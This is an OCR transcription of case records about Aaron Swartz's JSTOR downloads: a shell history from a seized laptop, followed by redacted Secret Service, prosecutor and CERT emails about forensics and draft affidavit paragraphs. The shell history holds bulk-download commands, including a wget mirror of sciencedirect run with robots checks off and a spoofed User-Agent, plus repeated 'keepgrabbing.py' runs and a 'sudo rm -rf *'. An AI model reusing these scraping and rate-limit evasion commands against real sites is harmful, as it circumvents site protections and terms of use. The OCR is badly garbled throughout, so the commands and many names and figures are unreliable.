¢d Jusrflocalflib/python?.6/
5 [R1F |
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cd dist-packages/
Is-a

m*

sudo rm *

sudo rm -rf *
sudo easy_lnstall pyoai
python

Is

python

<d

Is blocks/{we -l

ps ax | grep keep

ps ax | grep ser

fg %1

fg0

fe

kill 2137

kilt 2138

ps ax | grep keep

python serveblocks.py 8092
ig

python secveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kil 961

fg

pythan serveblocks.py 8092
kil %1

fg

python serveblocks.py 8092
kifi %1

fg

python serveblocks.py 8092
fg

kil %1

fa

python serveblodks.py 8092
kil %1

fg

python serveblocks.py 8092
kit %1

18

emacs serveblocks.py
python serveblocks.py 8092
cd fmedia/drive/

R 1F |
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s

’

P

~/keepgrabbing.py

af

df -h|grep sdd; date

du -hsc fvol/*

dm /vol/urlstograb2.wget

rm /vol/urlstograb2.wget

du -hsc fvol/*

bwm-ng

du -hse fvol/*

df -h

df -hlgrep media

{s blocks|we -l

Is

emacs oaigrab.py

python -i naigrab.py

emacs aaigrab.py

python -l caigrab.py

emacs oaigrab.py

mkdir muse

mv uristograb* muse

python oaigrab.py | tee uristograb.wget

wc - urlstograb.wget

emacs oaigrab.py

python - caigrab.py | tee urlstograb.wget

emacs oaigrab.py

python - oaigrab.py | tee uristograb.wget

Is

emacs oaigrab.py

fg

emacs oalgrab.py

python -1 oaigrab.py | tee urlstograb2.wget

fg

cd /vol

wget - -nv -nc - ~furistograb.wget

more analysis.oxfordjournals.org/content/35/3/97 full. pdf
wget -x -nv -n¢ | ~furistograb.wget

mkdir sd

cd sd

wget -m -np “hitp://www sciepcedirect. com/sgience/page/sitemap/index. htmt"
wget --headers'User-Agent: WL/6" -m -np "hitp://www.sciencedirect.com/science/page/sitenap/index.ht
wget --header="User-Agent: WL/6" -m -np "hitp://www scigncedirect. com/science/page/sitemap/index.himl”
wet -e robots=off --header="User-Agent: WL/6" -m -np

“hite://wew.sclencedirect.com/science/page/sitemap/index.htmi®
s

cd www ,sciencedirect.com/science/page/sitemap/publication/
Is

¢d sarial/

Is

cd journals/

Is

emacs ~/sls

chmod +x~/sls
[R1F ]

L0350




S open s A

~fsls | less

~[sls. | less

more 17509467.html
Is 0242648X

1s 0242648%/24

15 01242648X/24/3

maore 0242648X%/24/3/243 html

python

fg

mkdir fvol/sdfio

fg

cd

8

python

Is

cd umi

is

python

fg

more keepgrabbing.py
cd fvolf

s

mkdir pdfs

sudo mkdir pdfs
sudo chown ghost pdfs
cd pdfs/
~{keepgrabbing.py
cd..
~/keepgrabbing.py
fig
~/keepgrabbing.py
dids

g

python

pwd

Is

et “fumi

python

fg

python

Is 1000000.html

fg

more 128214.htmi
more 128213

less 128204.htmt
lass /vol/umi/128204.html
links fvolfumif128204.hm!
python

Is -th

Is blocks | we -l
python

Is *dbm

[R1F ]
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Lo ey

v

fg

Is

more deleteandgrsh
split -a S -} 1000 deleteandgrab blocks/regrabc
Is blocks/|wc -

¢d blocks/

Is | less

Is | tall

cd..

fg

Is fmnt

df

is /media/drive

fg

links hitp://caliber.ycpress.net/dol/ndf/10.1525/25.2010.50.5.835

Is
ro pl-saimela pdf

curl “hitp:f/portal.acm.gr; ateway cfim?id=11874398ype=pdf&CFID=15902 &CFTOKEN=55059171"
curl -i “htig://portal.acon.or/ft gateway.cfm?id=1187439& type=pdf&CFID=15302 R CFTOKEN=55059171"

curl - "http://portal.acm.org/ft_gateway.cfmpid=1187439&type=pdf*
curl -1 “hitp://portal.acm ora/ft gateway.cfm?id=1187439&tvpe=pdf” | less

Is

more serveblocks.py
emacs serveblocks.py
more keepgrabbing.py

1s /vot

~/sis fvol umi > umi.sis
more umi.sls

~/sis fvalfuml > umt.sis
~[sls Jvoifpdfs > pdfsd.sis
Is IR /vol > js3.isIR

more js3.JsIR

is -IR /vol/ > js3.IsIR

mare js3.IsiR

we - js3.IsiR

echo -n me@aaronsw.com|mdSsum
df

ps ax

df

mount /dev/sdc/val

cd fvol

Is

cd /medla/

Is

ts -1

rm drive

sudo nm drive

sudo mkdir drive

sudo mount fdev/sde drive
sudo mount /dev/sdel drive
cd drive

Is

30
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s A

df

fd -h

df-h

makdlyr pdfs

sudo mkdir pdfs

sudo chown ghost pdfs

Is

~/keepgrabbing.py

cd /media/drive/pdfs

more 3590725.pdf

less 3697630, pdf

less 30072010.pdf

less 60244678.pdf

{ess 3523970.pdf

fess 3548593 .pdf

less 3523645.pdf

less 3813153.pdf

less 3838338.pdf

lass 3279339.pdf

less 1888323.pdf

Jess 688560.pdf

less ¥234,.pdf"

less 742572.pdf

less 30058803.pdf

jess 202381S.pdf

more 2023815,pdf

cd

~/keepgrabbing.py

fe

Is

cd pdfs

Is

df-h

ed /vol/

~{keepgrabbing.py

cd ..

cd val

~/keepgrabbing.
()(6).(bX7XC)

U.S. Secret Service
Bosion Field Oftice

{BXB),{bX7XC)

All e-mail to/from this sccount is subject to officlal review and Is for officlal use anly. Action may be taken In respoase to any
inappropriate use of the Secret Service’s e-mall system, This e-mall may contain information that is privileged, law
enforcement sensitive, or subject to other disclosure imitations. Such information is loaned to you and should not be further
disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose,
or copy it; notify the sender immediately and delete it.
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B ENTIC) _icin)
o [PXO.EXNC) — Jgos)

Sent: osday May 03, 2011 2:08 PM
To: {D){6).(b}(7)(C) cmmb Mz%cpgbxs),(bmcz Jert.org)
Subject: RE: CIDICERT: Fes rom case

Was a report ever finalized for the Swartz exam?

[®XE®NTNCT ]

V.S, Secret Service
Boston Field Office

{b)(8).(b)(7THC

From[(jb_a'—‘_‘:)<"é)§cb)(7:%]()( Tkcib)
Sent: Wednesday, March 16, 2011 1,30 PM
n:dﬂ_—n_b 8)X7XC) ] (BOS)
Subject: Re: CID/CERT: Feedback from MIT case

(OX6).bXTNCT ]

Special Aget

eccat Service
(b)(6).(bX7)C) {(Desk)
(Mabite)
308 B (Fax)

TBnn o
T4(R)E).XTNC) JI0)

Sent: Wed Mar 16 13:28:51 2011

Subject: Fw: CID/CERT: Feedback from MIT case

No 6E letter is necessary

(bX8).(bX7XC)

Sent from Blackbamy

Fromy stephen (USAMA)EXOLBXTNCY  icdos gov> )
Tﬁ(b)(ﬁ).(bgm(d 80S)

Sent: Wed Mar, 16 13:25:45 2011 per EOUSA

Subject: RE: CID/CERT: Feedback from MIT case

|

J ) ) (b)(’i,{:i}uleGE,@)(S)

[ 4 AR AL S Armany

From{PXELONTNC) ] (B0S) (maltd®)(ELENTHC) Jusss.dhs.aev]
Sent: Wednesday, March 16, 2011 1:13 PM

To: Heymann, Stephen (USAMA)

Subject: Fw: CID/CERT: Feedback from MIT case
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|(b)(s).(b)(7)(C) I(ClD)

From: [(EXEY®ITNC) 80S)

Sent: ~2011 2:08 PM

Tor XL ONTIC) !fcm)

Subject: RE: CID/CERT: Feedback from MIT case

|(bX8).ONTHC) |
U3, Secret dService
Boston Fleld Office

(b)(8),(bX7)C) |

From{(b)(8).(bX7)(_ (CID)
Sent; Wednesday, March 16, 2011 1:30 PM
To:[(bX6).(bX7XC) __ BOS)

Subject: Re: CID/CERT: Feedback from MIT case

QUNAS JOOU

pecial Agen

Secret Service
()BY.B)7XC) kDesk)
{Mohlle}
412-268-5226 (Fax)

From[PI®.BX7HC)  f80S)
rh_ CiD)

Sent: Wed Mar 16 13:28:51 2011
Subjact: Fw: CID/CERT: Feedback from MIT case

No OF lefter is necessary

[®)E).BXTNC) |
Sent from Blackberry

From; n, Stephen (USAMA) [(b)(6),(b)(7)(C) Jusdoj.gov>
To:‘(%;(gg.(g)(;)(c) kBOS)
Sent: Wed Mar 16 13:25:45 2011

Subject: RE: CID/CERT: Feedback from MIT case

I(‘b?(?s);Rule 6E,(b)(5)

From{(0)(6).(bX7)(C)
sent: Wednesday, March 16, 2011 1:13 PM

To: Heymann, Stephen (USAMA)

Subject: Fw: CID/CERT: Feedback from MIT case
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FT.HMM' tenhen (USAMA(BIB).(bX7)C) hsdol.gov>
Tof(B)(8).(b}(7)XC) BO(S) " i

Sent: Wed Mar 16 13:25:45 2011
Subject: RE: CID/CERT: Feedback from MIT case CarEQisa ]
(b)(3):Rule 8E.(b)5) o

From{(BXOLOX7XC) __ |B0S) [maitdBYBLENTNCT Lisss.dhs,gov]
Sent: Wednesday, March 16, 2011 1:13 PM

To: Heymann, Stephen (USAMA)

Subject: Fw: CID/CERT: Feedback from MIT case

Question from CERT

(b)(6) (bX7XC)

Sent from Blackberry

Seni: Wed Mar 16 13:10:5) 2011
Subject; CID/CERT: Feodback ffom MIT case

(bX6).(

The guys here have some a report for you. However, thelr supervisor needs to review it before it goes out.

Shouid we add him to the 6e?

Ris neme is[R)BI(E) JHe is tidle IBXBLIBNTNCY — Jiigital lntelligence and [avestigations Directorate. He has the same
address RY(b)(6),( [ARY(b)O) |

All he is doing is reviewing the report.

Thanks.
(B){6),(bX7)(C)

Special Agent

U.S. Secret Service

(b)B).(bX7) {(Desk)
(C) (Mobile)
A12-268-5726 (Fax)

Al e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response o any inappropriate use of the Secret Scrvice's c-mail system. This e-nail may contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
joaned to you and should not be further disseminated without the permission of the Secret Service. {f you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete

it
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Senviea's e-mall systam. This e-mall may contaln information that is privileged, law enforcament sensitive, or suliject to ather disclosure limitations. Such
inforenation Is loaned to you and should not be further disseminated without the permission of the Secret Service. If you heve secelved this e-mail in error,
do not kaep, use, disclose, or copy it; notify the tender immedistely and deletalt.
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(b)(B){bX7)C) CID)

From: [(0)(6).(bX7)C) Acent.org)
Sent: 2011 .10 PM
o BN AT Yoy

Ce: (b)B).(bX7) |

Subject: a: Fw: Aarah Swartz

We can do 3:36pm today,|(bX8). | Do you want us to reserve a conference bridge?
If not, just give us the number to call.

‘ £
b)(6).(b

On_#ond Jul
> [0)6).B)(] ana [B)E).(B

11, 2011 @1:88:13 PH(DXE)LIENT) | (CID) wrote:

>

> Are you guys available this afternoon? Are there any times that won't work?

v Vv

A s

.ﬂﬂﬁﬂlﬁﬂiﬂgﬂllll

> Special Agen

> U.S. Secret Service
{Desk)
(Mobile)

(Fax)

(bX6).(BX7XC)

> 412-268-5226
>

Subject: Aaron Swartz

V VW WV V VWV VY
Q=
E'ﬂoz-
=122 7

i

per EOUSA

Many thanks,

VWV VVVVVVVVYV VY

A4

Steve

All e-mail to/from this account is subject to official review and is

> for official use only. Action may be taken in response to any

> inappropriate use of the Secret Service's e-mail system. This e-mail

> may contain information that 1s privileged, law enforcement sensitive,
> ar subject to other disclosure limitations. Such informstion is loaned

1
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> to you and should not be further disseminated without the pemissiod of the Secret Service,
> If you have received this e-mail in error, do not keep, use, disclose, or
> copy it; notify the sender immediately and delete it. --
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(bY(8).(bX7)(C) (CID)

Erom: Kb)(6).(bX7)(C) Peertorg)
Sent: tlda 08, 2011 12:18 PM
go: (b)B).(bX7HC) [CID)
¢
Subject: Re: FW. Plaase confirm with Cert
(b)6).

A couple of nit-picky ftems:

- Rather than say keepgrabbing2 was very similar to keepgrabbing, I would say it has
“distinctive similarities”.

- T would say: 'OynDNS 15 a service that permits tying a specific hostname (such as “ghost-
macbook .dyndns-free.com") to a computer that could have a dynamic or changing IP address
{such as a > home computer on Comcast’s cable network).

(The above states more flatly that DynDNS is a service and gives a more accurate example of a
valid hostname. ]

Best,

on & July 08, 2011 11:26:43 AM(P)6).(XT7) CID) wrote:
Mﬁml](b)(e), o [Y__l_] (LXOMEXT)  f¢cTD)

and [(b)(8).(

Could you take a look at this and provide some feedback?

v VWV

%

Special Agent
service
(bX6).(L)X7XC) }(desk)
{mobile)
412-268-5226 (fax)

The information contained in this transmission, including attachments,
15 privileged and confidential. It is intended only for the use of the
individual or entity named above. If the reader of this message is not
the intended recipient, you are hereby notified that any
dissemination, distribution or copy of this communication is strictly
prahibited. If you have received this communication in error, please
notify me immediately by replying to this e-mail and delete all copies
of this message and all attachments,

From: [(PX6).(OX7)(C) 1 (BOS)
Sent: Fri 7/8/2011 11:11 AM
To: {(B)6).bU7Y( | (CI0)

Subject: FW: Please confirm with Cert

Please see belaw: We are preparing to take the Swartz case to indictment
and Heymann wants to double check that everything ls exactly accurate.

Do you agree with the paragraphs below?

DUE).(LX7XC) |

> U.S. Secret Service

VW VYV YV VNV YV VYVVY YYYVYY VY VY VY
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(BY6).{E)7XC)

:[_lm.tm..ELe.mmffice

VYV VY VY VVVVYVVVYYYYVVVVVVYY VVYVVVVYVVVVYVYYVYY

From: Heymann, Stephen (USAMA) [mailto[(b)(6).(bX7)(C) lisdoi. gov]
Sent: Friday, July 08, 2011 10:50 AM
To: |(b)}6),(bX7)C) (805)

subject: Please contirm with Cert

Please confirm with Cert, today if at all possible, that our summary
of the facts in these two paragraphs are an accurate summary of their
preliminary findings. Thank you,

From: Heymann, Stephen (USAMA)

Sentr_fnidan._lulx_ag, 2011 10:19 AM
To: [(PXE)-OX7XC) usss .dhs.gov’

Subject: Please pull the forensic reports that reflect these facts

26. On February 24, 2011, the Court issued warrants to search
the Acer Japtop, Western Digital hard drive and the HP USB drive. As a
result of these searches, I am aware that the MAC address assigned by
the manufacturer to the ethernet interface card on the selized Acer
laptop is 8@:23:5a3:73:5f:Fb, the same as the “ghost laptop” which
connected to the MIT network in September, 2018. On the Acer laptop
was a software application entitled “keepgrabbing.py”, which was
designed to download .pdf files from jstor.org.1l In addition to
those described in footnote ___, above, ISTOR's terms and conditions
of use exuplicitly prohibit users from attempting to circumvent
software protactions employed in the ISTOR platform. The
implementation of keepgrabbing.py was designed to avoid JSTOR's
efforts to spot and prevent serial downloads of the size here. The
application would download the .pdf files from JSTOR to a file
directory named “pdfs”. The USB Drive found in Swartz’s backpack
contained a file “keepgrabbing2.py”, with a script very similar to
that contained in the Acer laptop. The Western Digital hard drive,
which was recovered with the Acer laptop, had Aaron Swartz’s
fingerprint on 1t. The drive contained a folder named “pdfs” which contained an estimated

over 97,808 .pdf files. A spot check of approximately a dozen of those files reflected that
each was

?
>

MWV VY VYV VYV VY VY

a JISTOR digitized journal article, 27. A logging file on the Acer

laptop, known as the .bash_history file, showed an atteinpt to submit a

computer or user name “Grace Host” and e-mail address

ghosta2@mailinator.com to the registration form at

10.72.0.47:444/bin/dynreg. This network address was associated with

guest registration on the MIT network befare the laptop’s seizure in

January, 2011. The .bash_history file also reflects that on an

unknown date the contents of the “pdfs/” directory was copled to a folder named “/vol/pdfs”
an another computer accessed through the DynONS registered record22

DynoNS is a method of tying a specific hostname (such as “ghost

macbook”) to a computer that could have a dynamic or changing IP

address (such as a home computer on Comcast’s cable network). for “ghost macbook.
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(b)6).(b)X7)C) CID)

From: Heymann, Stephen (USAMA)(b)(6).(bX7)C) Pusdoj.gov)
Sent: Friday, July 08, 2011 1:23 PM

To: (b)(B) (bY7YHC) YBOSH(E)6).(b)7XC) |CID

Ce: I(b)(8).(b)(TXC) Eambridgepouce.oréigﬂ% { iig!ﬂﬁi PSAMA)
Subject: RE: FW: Please confirm with Cert

Thank you, Steve

----- Original Message-----

From:{(B}(B6).{b)7)C) (8aS) [mailtof(B)(6),(B)7)C) hisss.dhs.gov]

Sent: Friday, July 68, 2011 1:86 PM

To: Heymann, Stephen (USAMA);[BYBLIBITICY  J(uUsAMA);|(bX(B),(b) Icambridgepolice.org

Subject: FW: FW: Please confirm with Cert

Please sce Below:

A couple of nit-picky items:

oy

[(b)(ﬁ).(b)(7)(0) ]
U.S. Secret Service

Ffice
I(b)(ég.(b)(ﬂ(%)

----- Opiginal Message-----
Fr-om:(cm)

Sent: Friday, July 08, 2011 12:22 PM
To : [(BX6).IBY7)C) J(eos)

Subject: Fw: flN: Please confirm with Cert

CERT's respanse.
|(bi(6).(5)(7)(0) l
Speclal Agent

U.S. Secret Service

(bX6).(bX7XC)  |(Desk)

(Mobile)
-208- (Fax)
----- Original Message -----
From: ACY Pecert.orgy
To:[[B)(B).{b)7XC [(CID)
Ce {{b)(6),(bU7)C) Peert.org>

Sent: Fri Jul 08 12:19:16 2011
Subject: Re: FW: Please confirm with Cert
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A couple of nit-picky items:

Kulid)

Best,

On Friday, July 08, 2011 11:26:43 AM{(b)8) (B)(7)( ](CID) wrote:
(D00 4 (BT
>

> Could you take a look at this and provide some feedback?
>

>[EXELENTHC) ]

> Specla en

> .S, Secret Service
(B)(6).(b)N7)CY | {desk)

{mobile)
A412-26R-5226 (fax)

AV

v 3L

The information contained in this transmission, including attachments,
is privileged and confidential. It is intended only for the use of the
individual or entity named above. If the reader of this message is not
the intended recipient, you are hereby notified that any
dissemination, distribution or copy of this communlication is strictly
prohibited. If you have received this communication in error, please
notify me fmmediately by replying to this e-mail and delete all copies
of this message and all attachments.

£rom: [(B)(B).(B}7)C) ] (80S)

Seat: Fri 7/8/2011 11:11 MM
To:{B)EL.ENNIC] (c1D)

Subject: FW: Please confirm with Cert

Please see balow: We are preparing to take the Swartz case to indictment
and Heymann wants to double check that everything 1s exactly accurate.

Do you agree with the paragraphs below?
> I(b)(él.(b)(7)(0 ) ]

> U.S, Secret Service
> Boston Field Office
>{BYELNTHC) |

>
> From: Heymann, Stephen (USAMA) [mailto{)6).(BY7NC)  Lsdaj.gov]

> Sent; Friday, July 88, 2011 10:50 AM
> To: {(BX6).BI7NC) kB0S)

> Subject: Please conflrm with Cert
>

> Please confirm with Cert, today if at all possible, that our summary

VVVVVVVYVYVYVVVVVVYVYY

2
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of the facts in these two paragraphs are an accurate summary of their
preliminary findings. Thank you,

From: Heymann, Stephen (USAMA)

Sent: Friday, July 08, 2811 10:19 AM

To:yEXS)JbX7XC) Lsss.dhs.gov‘

SubJect: Please pull the forensic reports that reflect these facts

26. On February 24, 2011, the Court issued warrants to search
the Acer laptop, Western Digital hard drive and the HP USB drive. As a
result of these searches, I am aware that the MAC address assigned by
the manufacturer to the ethernet interface card on tha selzed Acer
laptop 1s 00:23:5a:73;:5f:fb, the same as the “ghost laptop” which
connected to the MIT network in September, 2010, On the Acer laptop
was a software application entitled “keepgrabbing.py”, which was
designed to download .pdf files from jstor.org.11 In additlon teo
those described in footnote ___, above, JSTOR's terms and conditions
of use explicitly prohibit users from attempting to tircumvent
software protections employed in the JSTOR platform. The
implementation of keepgrabbing.py was designed to avoid JSTOR's
efforts to spot and prevent serial downloads of the size here. The
application would download the .pdf files from JSTOR to a file
directory named “pdfs”. The USB Drive found in Swartz’s backpack
contained a file “keepgrabbing2.py”, with a script very similar to
that contained in the Acer laptop. The Western Digital hard drive,
which was recovered with the Acer laptop, had Aaron Swartz’s
fingerprint on it. The drive contained a folder named “pdfs” which contained an estimated
over 97,000 .pdf files. A spot chack of approximately a dozen of those files reflected that
gach was
> a JSTOR digitized journal article. 27. A logging file on the Acer
laptop, known as the .bash_history file, showed an attempt to submit a
computer or user name “Grace Host” and e-mail address
ghost42@mailinator.com to the registration form at
10.72,0.47:444/bin/dynreg, This network address was associated with
guest registration on the MIT netwerk before the laptop’s selzure in
January, 2011. The ,bash_history file alse reflects that on an
unknown date the contents of the “pdfs/” directory was copled to a folder named “/vol/pdfs”
on another computer accessed through the DynONS registered record22
DynDNS 1is a method of tying a specific hostname (such as “ghost
macbook”) to a computer that could have a dynamic or changing IP
address (such as a home computer on Comcast’s cable network)., for “ghost macbeok.

YV VVVVYVVVVVVYVVVYVVVYFVVYVFVVVIVYVVVVY
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(bNB)L(BN7XC) CID)

From; Heymann, Slaphen (USAMA)I b)(ﬁ) (BYDC)  Dusdoj gov)
Sent: Tuesda

To: (BOS)

Cc:

Subject: RE JSTOR logs and fi filesystem raco:ds

0 dUIHGC

Iﬂm‘ RN , thank you, this is super.

can you get the Samsung 332 data to them in the requested format? Or, if that was the
praoblematic drive, work with them to get the data extracted in that format?

sph
----- ori A ceans
From{(B)8).bX7)C) i (rmai1t{(B)ELEXT Jeert org)

Sent: Monday, September 12, 2011 5:48 PM
To: Heymann, Stephen (usama) ;[(B)6).(6X7)C) Jeosy

Ce:[{b)6).(bYTXC) (CID)
Subject: ISTOR logs and filesystem records
Stephen and

We have taken a look at the filesystem metadata and the transfer logs provided by ISTOR, and
it looks like we should be able to correlate filenames and timestamps (assuming no
problematic clock drift issues) quite easily. The log data provided doesn't include a file
size, but that may not be necessary given the other flelds we can match.

We are working up a quick program to process the two list formats and perform comparisons for
various criteria, as we discussed. We should be able to wrap that up within a couple of days.

I do have one request: For three of the four storage devices covered in the material sent to
us, there exists a simple plain-text list of all the pdf files on the device and their
associated timestamps. These lists are what we have written an ingestlon processor for.
However, for the Samsung-332 we only have a rather unwieldy HTML 1listing of all the files on
the device. Would it be hard to locate a pdf-only listing in the same format as the others
and send it to us? The lists compress very well,

Still, 1f it is too big for email, you could send it to the CERT secure FTP dropbox. (I think

[(B)5).E)(]has 2 handy use guide to this, if required.)

gest,

(bX6).(bX7)
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[BX®).B)7C) ICID)

From: (b)(6),(b)7)(C) BOS)

Sant: B5day, Septemboer 13, 2011

To: ! §(b)(6),(b)(7)(C)
Subjact: > JSTOR logs and flesystem records

332 was the drive in which EnCase saw the PDFs as orphaned files but FTK was able to see
recovered them. I will see if there is an better way to extract the data.

{(B)(8),(bX7)(C) |
U.5. Secret Service

Dffice
(b)(6).(b)(7)(C

~~~~~ Original Message-----

From: Heymann, Stephen (USAMA) [mailtd(b}(8)(bN7UC) lsdoi.gov]

Sent: Tuesday, September 13, 2011 7:37 AM

To: {(B)(8),(bX7)C) ] (BOS)
CC:|§b)gB).gbgé7MC% CID)

Subject: RE: ogs and tilesystem records
I‘b"s""“’x“’ , thank you, this is super.

[hI6) |, can you get the Samsung 332 data to them in the requested format? Or, if that was the
problematic drive, work with them to get the data extracted in that formet?

sph

----- Original Message-~---

From:|{(DX6),(BX7NC) __ J[mailtd(B)@),EHT(krt. orgl
Sent: Monday, September 12, 2011 5:48 PM

To: Heymann, Stephen (USAMA) [(b)(6),(BY7)C) X80S)
Cc :[(b)(8) LY7NC) J(cID)

Subject: ISTOR logs and filesystem records

Stephen and|(b)(8),

We have taken a lack at the filasystem metadata and the transfer logs provided by 3ISTOR, and
it looks like we should be able to correlate filenames and timestamps (assuming no
problematic clock drift issues) quite easily. The log data provided doesn‘t include a file
size, but that may not be necessary given the other fields we can match.

We are working up a quick program ta process the two list formats and perform comparisons for
various criteria, as we discussed. We should be able to wrap that up within a couple of days.

I do have one request: For three of the four storage devices covered in the material sent to
us, there exists a simple plain-text 1list of all the pdf files on the device and their
associated timestamps. These 1lists are what we have written an ingestion processor for.
However, for the Samsung-332 we only have a rather unwieldy HTML listing of all the files on
the device. Would it be hard to locate a pdf-only listing in the same format as the others
and send it to us? The lists compress very well.

Still, if it is too big for email, you could send it to the CERT secure FTP dropbox. (I think

®)(5) |has a handy use guide to this, if required.)

1
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(b)(6).ENTNC)

[CID)
From: [®Y®).(6)7)(C) l(Bos)
Sent: Wadnesday, February 18, 2011 2:03 PM
To: ! SAMAY
Ce: (B)(E).(L)7XC) BOS”(%SLibifiici iiaosr BXeLEI7NC) _ ]BOS)EXEN®E]]
b)(6).(b){7 Jambridgepolice org{(b)(6).(bY7)(C) J(CID
Subject: < Local Rules Letters
Search Team:
ATSAIC{(b)(6).(b)(7)(C)
SA|(LX6).(bX7)C)
S
S

All of Boston Fleld Office

And Detectivg(b)X6),(B)(7XC) bf Cambridge Police Department

forensic Team:

Myself and(b)6).(b)

(DY(8).(b)(7)( ht CERT Coardination Center (CERT/CC) at the Software Engineering Institute {SEY), at Carnegle Meflon
University in Pittsburgh, Pennsylvania
The filter examiner has not been chosen yet

BYELEITNG]
.S. Seeret Service
518 e (") .,
BNOMBKINCH

From: Heymann, Stephen (USAMA) [mailEXELEITRCT — Jusdol.aoy]
Sent: Wednesday, February 16, 2011 1:55 PM

71(b)(6),(b)(7)(0) !BOS)
Subject: Tocal Rules Lotters

(B)(8),(bX

I"d like to get the local rules Jetters out tomorrow. Can you prioritize getting me the list of names of those
involved in the searches and will be involved in the forensics? Thank you
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Please confirm with Cert, today if at all possible, that our summary of the facts in these two paragraphs are an accurate
summary of their preliminary findings. Thank you.

From: Haymann, Stephen (USAMA)

Sent: Friday, July 08, 2011 10:15 AM
mmm@l- usss.dhs.gov'
Subject: Please pull the forensic reports that reflect these facts

26.  On February 24, 2011, the Court issued warrants to search the Acer laptop, Westem Digital hard
drive and the HP USB drive. As a result of these searches, | am aware that the MAC address assigned by the
manufacturer fo the ethernet interface card on the seized Acer laptop is 00:23:5a:73:5£:(b, the same as the
“ghost laptop” which connected lo the MIT network in September, 2010. On the Acer laptop was a sofiware
application entitled “keepgrabbing.py”, which was designed to download .pdf files from jstor.org." In addition
to those described in footnote ___, above, JSTOR's terms and conditions of use explicitly prohibit users from
attempting to circumvent software protections employed in the JSTOR platform. The implementation of
keepgrabbing.py was designed to avoid ISTOR's efforts to spot and prevent serial downloads of the size here.
The application would download the .pdf files from JSTOR to a file directory named “pdfs”. The USB Drive
found in Swartz’s backpack contained a file “keepgrabbing2 py”, with a script very similar to that contained in
the Acer laptop. The Western Digital hard drive, which was recovered with the Acer laptop, had Aaron Swart2’s
fingerprint on it. The drive contained a folder named “pdfs” which contained an estimated over 97,000 .pdf
files. A spot check of approximately a dozen of those files reflected that each was a JSTOR digitized journal
article.

27. A logging file on the Acer laptop, known as the .bash_history file, showed an attempt to submit
a computer or user name “Grace Host” and e-mail address ghost42@mailinator.com to the registration form at
10.72.0.47:444/bin/dynreg. This network address was associated with guest registration on the MIT network
before the laptop’s seizure in January, 2011. The .bash_history file also reflects that on an unknown dage ihe
contents of the “pdfs/” directory was copied to a folder named “/vol/pdfs” on another computer accessed
through the DynDNS registered record” DynDNS is a method of tying a specific hostname (such as “ghost
macbook”) to a computer that could have a dynamic or changing IP address (such as a home computer on
Comcast’s cable network). for “ghost macbook.
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Iffff-fffff’ l(CID)

From: {(EXB).BY7NC).Per U pos)

Sent! Tuesday, May 10, 2011 3:25 PM

To: He Stephen (USAMA)

Ce: Ambridgepolice.org§(b){6).(b){7)(C),Per USSS
Subject: unonal Paragraphs for (he Seizufe Warra avi

D)

Per EQUSA

| e
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Per
ZOUSA

(YD)

| emalled b 8iC gnd vt b1Cto confirm this
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EEee) |

U.S. Secret Service

Baoston Field Office
[(6)(6).(B)(7)(C)

From: Heymann, Stephen (USAMA) [mailtdBXEYL.OXTC) _ Pusdoj.gov]

Sent: , 2011 8:14 AM
Tof(b)(8).(bX7)C) {BOS)
{b)(B).(LUTHC) cambridgepolice.org Per

Subject: Potential Additional Paragraphs for the Selzure Warrant Affidavit EOUSA

r]

Please confirm the following today, contacting CERT and MIT as necessary. These are the facts, as | presently
understand them. f any of them should be corrected or expanded, let me know.

Do)

Thank you, Steve
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(b)(6),(b}7)(C)

J(CID)
From: Heymann, Staphen (USAMA)|(b)(6).(b)(7XC) Dusdoj.gov)
Sent: plondsa sbruary 28, 2014 2:56 PM
To: (EXB).BUTNC) _|CiD)
Subject: : Read This One Instead
Thank you.
From|(b)(8).(bX7XC) [CID) [mailt;

Sent: Monday, February 28, 2011 2:

2:54 PM T
To: Heymann, Stephen (USAMA){(BY6).(0X7IC) 18OS)
c;~ 00

Subject: Re: Read This One Instead

Stephen:

and | have réviewed the memorandum, No issues from us.
(BY(6).(BY7HC) |

Special Agent
U.S. Secret Service
(b)(B).(bX7NC) [Dask)

From:_Hevmona, Stephen (USAMA)Y TEXGLBITHC) busdof.gov>
To{LXE).X7)(C) cﬁ;) ®XE).BXC)  [(BOS)

Sent: Sat Feb 26 07:27:45 2011 ]

Subfect; Read This One Instead

<<JSTOR Memarandum in Support of 6e Disclosure.pdf>> Sorry, forgot to save to .pdf the final typographical
corrections before | sent it to you two. sph

All e-mail w/from this account is subject to official veview and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information
that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is
loaned to you and should not be further disseminated without the permission of the Secret Service. 1f you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
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(b)(6),(b)7)(C) CiD)

From: Heymann, Stephen (USAMA)]i%ﬂsﬁgb}(?)gC) Jusdoj.gov]
Sont: -riday, Cebruary 25, 2011 11:40 Al

To: (L)B).(LU7NC) [CID)

Subject: RET Secret service - Background Information for (BX6).(6X7)C)
Thank you.

From{@EELBIIC) FIb) [ma
Sent: Friday, February 25, 2011 11:34 AM

To: Heymann, Stephen (USAMA)

Subject: Re: Secret Service - Background Information for [B}(E).(BX7)(

He has expertise in Windows, Linux, BSD, VMFS (VMware's file system), and OS X.

pecfal Agen
U.S. Secret Service

(b)(G).(b)(7)(C)i085k)
Mobite)
-200- (Fax)

From; stephen (USAMA)E)E).BITNC)  Dusdol.gov>
Tombxmwaci [CID) ( )

Sent: Fr Feb 25 11:30:47 2011
Subject: RE: Secret Service - Background Information fo(b)}(6).(EX7)C

Does he also have expertise in Linux?

From{(b)(8).(b)(7}C) Ic1D) [malltol
Sent: Friday, February 25, 2011 11:27 AM

To: Heymaan, Stephen (USAMA)

Cci(b)(6),(b) bert.org

Subject: Secret Service - Background Information for [(BX6).EYN)(]

R L T R R

Stephen:

Please find the requested background information for [(D)(6).(bX7)(C)  Jhas handled Grand Jury information in ather cases in gther
districts.

[®XEY.NTY_Member of the Technical Staff, CERT

[©YE):J{EHET.BNTC) lvorking for CER''s Digital Intelligence and Investigation Directorate (DUI). With over five years
experience in the field of Digital Forensics,[(D)(6) hras conducted forensic Investigations in civil and criminal litigation in both the
